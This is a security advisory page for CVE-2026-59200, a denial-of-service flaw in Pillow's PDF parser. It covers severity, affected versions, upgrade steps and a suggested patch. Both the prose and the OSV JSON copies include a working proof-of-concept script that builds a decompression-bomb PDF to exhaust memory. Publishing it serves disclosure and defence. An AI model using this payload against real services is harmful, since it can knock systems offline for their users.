CVE-2026-59200: Pillow Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-jjj6-mw9f-p565
CVSS 7.5
CWE-400 CWE-770
Published
Advisory Summary

CVE-2026-59200 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Pillow libraries in the PyPI ecosystem. The issue involves decompression bomb dos via pdfparser.pdfstream.decode(). Remediation is available by upgrading affected packages to version 12.3.0.

CVE-2026-59200 at a Glance

CVE Identifier CVE-2026-59200
GHSA Identifier GHSA-jjj6-mw9f-p565
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Pillow
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-59200

To remediate this vulnerability, upgrade all affected Pillow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

Pillow fixed: 12.3.0
pip install Pillow>=12.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show Pillow

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-59200, inspect your installed packages using pip:

pip show Pillow

Analyze the terminal output to locate any version of Pillow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.0), your application is affected.

Note: The pip show Pillow command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Pillow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files. ### Details `PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`: ```python # PIL/PdfParser.py — PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b"Filter"] except KeyError: return self.buf if filter == b"FlateDecode": try: expected_length = self.dictionary[b"DL"] except KeyError: expected_length = self.dictionary[b"Length"] return zlib.decompress(self.buf, bufsize=int(expected_length)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an *initial buffer hint*, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless. ``` From the Python documentation: *"The `bufsize` parameter is used as the initial size of the output buffer."* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation. `PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF. **Confirmed reachable path:** ```python with PdfParser.PdfParser("evil.pdf") as pdf: stream_obj, _ = pdf.get_value(pdf.buf, stream_offset) data = stream_obj.decode() # ← OOM here ``` ### PoC ```python import zlib, tempfile, os, time from PIL import PdfParser # Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPAND_MB = 100 raw = b'\x00' * (EXPAND_MB * 1_000_000) compressed = zlib.compress(raw, level=9) # ~97 KB buf = b'%PDF-1.4\n' o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n' o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n' xref = len(buf) buf += b'xref\n0 4\n0000000000 65535 f \n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \n'.encode() buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n' print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)") with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name with PdfParser.PdfParser(tmpname) as pdf: obj, _ = pdf.get_value(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s") os.unlink(tmpname) ``` **Actual output (Pillow 12.1.1, Python 3.12):** ``` PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265s ``` **Measured expansion:** | PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026× | 0.024 s | | 95 KB | 100 MB | 1,028× | 0.265 s | | 475 KB | 500 MB | 1,028× | 1.279 s | | 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s | ### Impact This is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required. **Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six. **Suggested fix:** ```python MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap def decode(self) -> bytes: ... if filter == b"FlateDecode": ... result = zlib.decompress(self.buf, bufsize=int(expected_length)) if len(result) > MAX_DECOMPRESS_BYTES: msg = "Decompressed stream exceeds maximum allowed size" raise ValueError(msg) return result ```

CVE-2026-59200 Affected Pillow Versions

1 component(s)
Fixed Versions:
12.3.0
Product / Package Ecosystem Affected Versions Fixed Version
Pillow
PyPI
≥ 5.1.0
< 12.3.0
12.3.0

References

Frequently Asked Questions

What is CVE-2026-59200?
CVE-2026-59200 is a security vulnerability in Pillow involving Decompression Bomb DoS via PdfParser.PdfStream.decode() under CWE-400: Uncontrolled Resource Consumption.
Which Pillow versions are affected?
Affected versions include releases prior to 12.3.0 across affected packages: Pillow.
What version fixes CVE-2026-59200?
Upgrading to 12.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is Pillow affected?
Yes, Pillow is affected in releases prior to 12.3.0. Upgrade your dependency to 12.3.0 or later.
What is the CVSS score of CVE-2026-59200?
CVE-2026-59200 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-59200?
CVE-2026-59200 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check PyPI dependencies for CVE-2026-59200?
Run the dependency tree command: 'pip show Pillow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jjj6-mw9f-p565",
  "modified" : "2026-07-20T23:11:29Z",
  "published" : "2026-07-20T23:11:29Z",
  "aliases" : [ "CVE-2026-59200" ],
  "summary" : "Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()",
  "details" : "### Summary\n`PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files.\n\n### Details\n`PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`:\n\n```python\n# PIL/PdfParser.py — PdfStream.decode()\nclass PdfStream:\n    def decode(self) -> bytes:\n        try:\n            filter = self.dictionary[b\"Filter\"]\n        except KeyError:\n            return self.buf\n        if filter == b\"FlateDecode\":\n            try:\n                expected_length = self.dictionary[b\"DL\"]\n            except KeyError:\n                expected_length = self.dictionary[b\"Length\"]\n            return zlib.decompress(self.buf, bufsize=int(expected_length))\n            #                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n            #  bufsize is an *initial buffer hint*, NOT a maximum size limit.\n            #  zlib.decompress() allocates as much memory as needed regardless.\n```\n\nFrom the Python documentation: *\"The `bufsize` parameter is used as the initial size of the output buffer.\"* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation.\n\n`PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF.\n\n**Confirmed reachable path:**\n```python\nwith PdfParser.PdfParser(\"evil.pdf\") as pdf:\n    stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)\n    data = stream_obj.decode()   # ← OOM here\n```\n\n\n### PoC\n\n```python\nimport zlib, tempfile, os, time\nfrom PIL import PdfParser\n\n# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)\nEXPAND_MB = 100\nraw = b'\\x00' * (EXPAND_MB * 1_000_000)\ncompressed = zlib.compress(raw, level=9)   # ~97 KB\n\nbuf = b'%PDF-1.4\\n'\no1 = len(buf); buf += b'1 0 obj\\n<< /Type /Pages /Kids [] /Count 0 >>\\nendobj\\n'\no2 = len(buf); buf += b'2 0 obj\\n<< /Type /Catalog /Pages 1 0 R >>\\nendobj\\n'\no3 = len(buf)\nhdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()\nbuf += b'3 0 obj\\n' + hdr + b'\\nstream\\n' + compressed + b'\\nendstream\\nendobj\\n'\nxref = len(buf)\nbuf += b'xref\\n0 4\\n0000000000 65535 f \\n'\nfor off in [o1, o2, o3]:\n    buf += f'{off:010d} 00000 n \\n'.encode()\nbuf += b'trailer\\n<< /Size 4 /Root 2 0 R >>\\nstartxref\\n' + str(xref).encode() + b'\\n%%EOF\\n'\n\nprint(f\"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)\")\n\nwith tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:\n    f.write(buf); tmpname = f.name\n\nwith PdfParser.PdfParser(tmpname) as pdf:\n    obj, _ = pdf.get_value(pdf.buf, o3)\n    t = time.time()\n    decoded = obj.decode()\n    print(f\"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s\")\n\nos.unlink(tmpname)\n```\n\n**Actual output (Pillow 12.1.1, Python 3.12):**\n```\nPDF size: 97,538 bytes (95.3 KB)\nDecoded: 100,000,000 bytes in 0.265s\n```\n\n**Measured expansion:**\n\n| PDF file size | Memory allocated | Ratio | Wall time |\n|---|---|---|---|\n| 10 KB | 10 MB | 1,026× | 0.024 s |\n| 95 KB | 100 MB | 1,028× | 0.265 s |\n| 475 KB | 500 MB | 1,028× | 1.279 s |\n| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |\n\n### Impact\nThis is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.\n\n**Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six.\n\n**Suggested fix:**\n\n```python\nMAX_DECOMPRESS_BYTES = 200 * 1024 * 1024  # 200 MB cap\n\ndef decode(self) -> bytes:\n    ...\n    if filter == b\"FlateDecode\":\n        ...\n        result = zlib.decompress(self.buf, bufsize=int(expected_length))\n        if len(result) > MAX_DECOMPRESS_BYTES:\n            msg = \"Decompressed stream exceeds maximum allowed size\"\n            raise ValueError(msg)\n        return result\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "Pillow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.1.0"
      }, {
        "fixed" : "12.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59200"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/pull/9718"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/python-pillow/Pillow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T23:11:29Z",
    "nvd_published_at" : "2026-07-14T17:17:14Z"
  }
}